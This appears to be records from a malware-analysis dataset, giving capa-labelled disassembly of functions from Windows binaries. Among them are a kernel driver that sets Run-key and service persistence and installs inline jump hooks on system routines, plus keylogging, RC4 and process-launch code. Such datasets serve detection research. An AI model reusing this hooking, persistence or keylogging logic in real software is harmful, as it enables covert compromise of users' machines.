joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dcb0
Capabilities:
Get file attributes
Read file on windows

Disassembly:
sub esp, 0x44
push str.SystemRootSystem32MicrosoftFUCK.txt
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
xor eax, eax
push eax
push eax
push 0x60
push 3
push 1
push 0x80
push eax
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
lea eax, [esp + 0x34]
lea ecx, [esp + 0x2c]
push eax
mov dword [esp + 0x40], ecx
push 0x80000000
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x40], 0x18
mov dword [esp + 0x4c], 0x40
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jl 0x40ddb4
mov ecx, dword [esp]
push ebx
push ebp
push esi
push edi
push 5
push 0x18
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x20]
push eax
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov ecx, dword [esp + 0x44]
mov ebx, dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov eax, ecx
cdq
and edx, 3
add eax, edx
push ecx
mov esi, eax
push 1
mov ebp, ecx
sar esi, 2
call ebx
push esi
push 1
mov edi, eax
call ebx
push 0
push 0
push ebp
push edi
lea edx, [esp + 0x24]
push edx
push 0
push 0
mov ebx, eax
mov eax, dword [esp + 0x2c]
push 0
push eax
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push esi
push edi
push ebx
call fcn.004012e0
push esi
push ebx
push 0x403930
call fcn.0040d880
mov esi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
push 0
push edi
call esi
push 0
push ebx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret
xor eax, eax
add esp, 0x44
ret

Function at 0x40ddc0
Capabilities:
Get file attributes
Print debug messages
Read file on windows

Disassembly:
sub esp, 0x2c
push 0x4038a4
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0
push 0
push 0x60
push 1
push 1
push 0x80
push 0
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x34]
lea ecx, [esp + 0x2c]
push eax
mov dword [esp + 0x40], ecx
push 0x80000000
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x40], 0x18
mov dword [esp + 0x44], 0
mov dword [esp + 0x4c], 0x40
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jl 0x40dea8
push str.H32_Create_File_Success__n
call sub.ntoskrnl.exe_DbgPrint
mov eax, dword [esp + 4]
add esp, 4
push 5
push 0x18
push 0x40cc78
lea edx, [esp + 0x10]
push edx
push eax
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
mov ecx, dword [0x40cc80]
inc ecx
push ecx
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov edx, dword [0x40cc80]
mov ecx, dword [esp]
push 0
push 0
push edx
push eax
mov dword [0x40ccc0], eax
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
cmp eax, 0xc0000011
je 0x40deb5
mov edx, dword [esp]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, 1
add esp, 0x2c
ret
push str.H32_CreateFile_Fail__n
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
xor eax, eax
add esp, 0x2c
ret
Function at 0x40e2c0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push edi
push eax
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x18], 1
call esi
xor ebx, ebx
lea eax, [esp + 0x14]
push eax
push ebx
push ebx
push ebx
lea ecx, [esp + 0x58]
lea edx, [esp + 0x28]
push ecx
mov dword [esp + 0x64], edx
push 0xf003f
lea edx, [esp + 0x24]
push edx
mov dword [esp + 0x64], 0x18
mov dword [esp + 0x68], ebx
mov dword [esp + 0x70], 0x40
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
push str.Start
lea eax, [esp + 0x24]
push eax
call esi
push str.Type
lea ecx, [esp + 0x2c]
push ecx
call esi
push str.ErrorControl
lea edx, [esp + 0x34]
push edx
call esi
push str.DisplayName
lea eax, [esp + 0x3c]
push eax
call esi
push str.ImagePath
lea ecx, [esp + 0x44]
push ecx
call esi
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push ebx
lea eax, [esp + 0x30]
push eax
push ecx
call edi
mov ecx, dword [esp + 0xc]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push ebx
lea eax, [esp + 0x38]
push eax
push ecx
call edi
mov ecx, dword [esp + 0xc]
push 4
lea edx, [esp + 0x14]
push edx
push 4
push ebx
lea eax, [esp + 0x40]
push eax
push ecx
call edi
mov eax, str.TestDriver
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x40e3b4
sub eax, ecx
mov ecx, dword [esp + 0xc]
sar eax, 1
lea edx, [eax + eax + 2]
push edx
push str.TestDriver
push 1
push ebx
lea eax, [esp + 0x48]
push eax
push ecx
call edi
mov eax, str.__C:Program_FilesProtect.sys
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x40e3e4
sub eax, ecx
mov ecx, dword [esp + 0xc]
sar eax, 1
lea edx, [eax + eax + 2]
push edx
push str.__C:Program_FilesProtect.sys
push 2
push ebx
lea eax, [esp + 0x50]
push eax
push ecx
call edi
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push str.RegistryMachineSOFTWAREMicrosoftWindowsCurrentVersionRun
lea eax, [esp + 0x1c]
push eax
call esi
lea edx, [esp + 0x14]
push edx
push ebx
push ebx
push ebx
lea eax, [esp + 0x58]
lea ecx, [esp + 0x28]
push eax
mov dword [esp + 0x64], ecx
push 0xf003f
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x64], 0x18
mov dword [esp + 0x68], ebx
mov dword [esp + 0x70], 0x40
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
push str.SelfRunDemo
lea edx, [esp + 0x24]
push edx
call esi
mov eax, str.C:1.exe
lea ecx, [eax + 2]
jmp 0x40e480
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x40e480
mov edx, dword [esp + 0xc]
sub eax, ecx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push str.C:1.exe
push 1
push ebx
lea ecx, [esp + 0x30]
push ecx
push edx
call edi
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40ec50
Capabilities:
Print debug messages

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
push 5
push esi
mov edi, ecx
call fcn.0040e5c0
mov ebx, eax
push ebx
push 0x403e1c
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
lea eax, [ebx + 5]
push eax
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
push eax
push ebx
push esi
mov dword [edi], eax
call fcn.00401480
mov ecx, dword [edi]
add ecx, ebx
call fcn.004013b0
mov byte [ecx], 0xe9
mov edx, esi
sub edx, dword [edi]
sub edx, 5
mov dword [ecx + 1], edx
call fcn.004013c0
call fcn.004013b0
mov eax, dword [esp + 0x14]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe9
mov dword [esi + 1], eax
call fcn.004013c0
add edi, 4
push edi
push 5
push esi
call fcn.00401480
pop edi
pop esi
pop ebx
ret 8
Function at 0x40f000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Map section object
Print debug messages
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x54
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
push 0x20
push 1
lea ecx, [esp + 0x48]
push ecx
mov dword [esp + 0x5c], eax
xor eax, eax
lea edx, [esp + 0x54]
push edx
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
xor edi, edi
push 0x100020
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x60], 0x18
mov dword [esp + 0x64], edi
mov dword [esp + 0x6c], 0x40
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
mov ecx, dword [esp + 0x10]
push ecx
push 0x1000000
push 0x10
push edi
lea edx, [esp + 0x58]
push edx
push 0xf001f
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x6c], edi
call dword [sym.imp.ntoskrnl.exe_ZwCreateSection]
mov eax, dword [esp + 0xc]
push 4
push 0x100000
push 1
lea ecx, [esp + 0x28]
push ecx
push edi
push 0x3e8
push edi
lea edx, [esp + 0x30]
push edx
push 0xffffffffffffffff
push eax
call dword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [esp + 0x14]
mov edx, dword [eax + 0x3c]
mov esi, dword [edx + eax + 0x78]
mov ecx, dword [esi + eax + 0x20]
mov ebx, dword [esi + eax + 0x1c]
add esi, eax
add ecx, eax
mov dword [esp + 0x24], ecx
mov ecx, dword [esi + 0x24]
add ecx, eax
mov dword [esp + 0x28], ecx
mov ecx, dword [ebp + 8]
add ebx, eax
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x10]
push ecx
lea edx, [esp + 0x34]
push edx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x34], eax
call dword [sym.imp.ntoskrnl.exe_RtlInitString]
cmp dword [esi + 0x14], edi
ja 0x40f124
push str.funcaddr_fail__
call sub.ntoskrnl.exe_DbgPrint
mov edx, dword [esp + 0x10]
add esp, 4
push edx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + edi*4]
add ecx, dword [esp + 0x18]
lea edx, [esp + 0x38]
push ecx
push edx
call dword [sym.imp.ntoskrnl.exe_RtlInitString]
mov eax, dword [esp + 0x28]
movzx ecx, word [eax + edi*2]
add ecx, dword [esp + 0x2c]
push 1
mov ebx, dword [ebx + ecx*4 - 4]
add ebx, dword [esp + 0x1c]
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlCompareString]
test eax, eax
je 0x40f16d
inc edi
cmp edi, dword [esi + 0x14]
jb 0x40f120
jmp 0x40f0fa
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40f190
Capabilities:
Create thread
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push edi
mov dword [eax + 0x34], 0x40eef0
call fcn.0040ddc0
test eax, eax
jne 0x40f1ff
push 0x7e2
push 0x405400
push 0x403eac
call fcn.0040d880
call fcn.0040ddc0
push 0x403ee8
call fcn.0040db40
mov dword [0x40cc90], eax
mov ecx, 0x7e2
or eax, 0xffffffff
mov edx, 0x405400
mov edi, edi
movzx edi, byte [edx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
xor eax, dword [esi*4 + section..data]
dec ecx
inc edx
test ecx, ecx
jne 0x40f1e0
jmp 0x40f242
call fcn.0040ddc0
cmp eax, 1
jne 0x40f249
push str.SystemRootSystem32H32.dat
call fcn.0040db40
mov dword [0x40cc90], eax
mov ecx, 0x7e2
or eax, 0xffffffff
mov edx, 0x405400
movzx edi, byte [edx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
xor eax, dword [esi*4 + section..data]
dec ecx
inc edx
test ecx, ecx
jne 0x40f225
not eax
mov dword [0x40cc68], eax
push str.NtShutdownSystem
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea edx, [esp + 8]
push edx
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
push 0x40ed10
push eax
mov ecx, 0x40cc3c
mov dword [0x40ccac], eax
call fcn.0040ec50
mov eax, dword [sym.imp.ntoskrnl.exe_IoCheckShareAccess]
push 0x40ed00
push eax
mov ecx, 0x40cbf0
call fcn.0040ec50
push 0
push 0x40ed60
push 0
push 0
push 0
push 0
push 0x40cc28
call dword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
mov ecx, dword [0x40cc28]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
xor eax, eax
pop esi
add esp, 8
ret 8
Function at 0x421810
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42183d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42183d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x43515a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x435168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x43514a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x435145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x435145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x4158f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4bf95b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004b1db7
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415972
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004af5d1
mov eax, dword [eax]
push 0x692e48
push eax
call fcn.0048ee84
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004b2042
test bl, bl
je 0x415972
push 0x692e48
lea ecx, [esp + 0xc]
call fcn.004b241e
push 0x692e54
lea ecx, [esp + 0xc]
call fcn.004b241e
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4159ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004b2042
jmp 0x415a79
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x415a32
lea edx, [esp + 0x7c]
push 0x692e50
push edx
call fcn.0048ee84
add esp, 8
test eax, eax
je 0x415a32
lea eax, [esp + 0x7c]
push 0x692e4c
push eax
call fcn.0048ee84
add esp, 8
test eax, eax
je 0x415a32
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4159c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004b2042
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x416280
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4162e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4162f0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4bf9db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x69d7b8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x416428
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x416356
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b2042
xor eax, eax
jmp 0x41649f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004b21cb
push esi
lea ecx, [esp + 0xc]
call fcn.004b245a
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41647d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.00416280
test eax, eax
jne 0x41647d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.00416280
test eax, eax
jne 0x41647d
lea eax, [esp + 0x14]
push 0x692e64
push eax
call fcn.00490080
mov esi, eax
add esp, 8
test esi, esi
jne 0x41645c
lea ecx, [esp + 0x14]
push 0x692e60
push ecx
call fcn.00490000
mov esi, eax
add esp, 8
test esi, esi
jne 0x41645c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41645f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004b217b
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41636e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b2042
xor eax, eax
jmp 0x41649f
mov byte [esi], 0
push 0x692e5c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004b2042
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x427720
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42778e
cmp si, 0x69
ja 0x42778e
add esi, 0xffd0
cmp si, 0x11
je 0x42775e
push 0x11
call edi
test ax, ax
jge 0x42775e
or esi, 0x2000
cmp si, 0x10
je 0x427773
push 0x10
call edi
test ax, ax
jge 0x427773
or esi, 0x4000
cmp si, 0x12
je 0x427788
push 0x12
call edi
test ax, ax
jge 0x427788
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42779b
mov esi, 0xbd
jmp 0x42774f
cmp si, 0x6e
jne 0x4277a8
mov esi, 0xbe
jmp 0x42774f
cmp si, 0x6f
jne 0x427749
mov esi, 0xbf
jmp 0x42774f

Function at 0x4290e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x6af548]
xor edx, edx
cmp eax, edx
jne 0x429106
xor eax, eax
mov byte [eax + 0x6af448], al
inc eax
cmp eax, 0x100
jl 0x4290ee
mov dword [0x6af548], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x6af448
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x429197
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42916a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x429138
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x429210
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x429263
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42924a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x430670
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x430808
cmp ebp, ebx
jle 0x430808
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x4306ce
dec eax
or eax, 0xfffffff8
inc eax
je 0x4306d5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4306e4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4306eb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004b1d83
add esp, 4
cmp eax, ebx
je 0x43070c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004b1d83
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4307fe
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4307e5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4307d1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4307c6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4307d4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4307d4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x430770
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x430761
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x433b10
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4c10b8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x433b49
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004b9926
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004b99ae
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00433bd0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.004b99eb
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24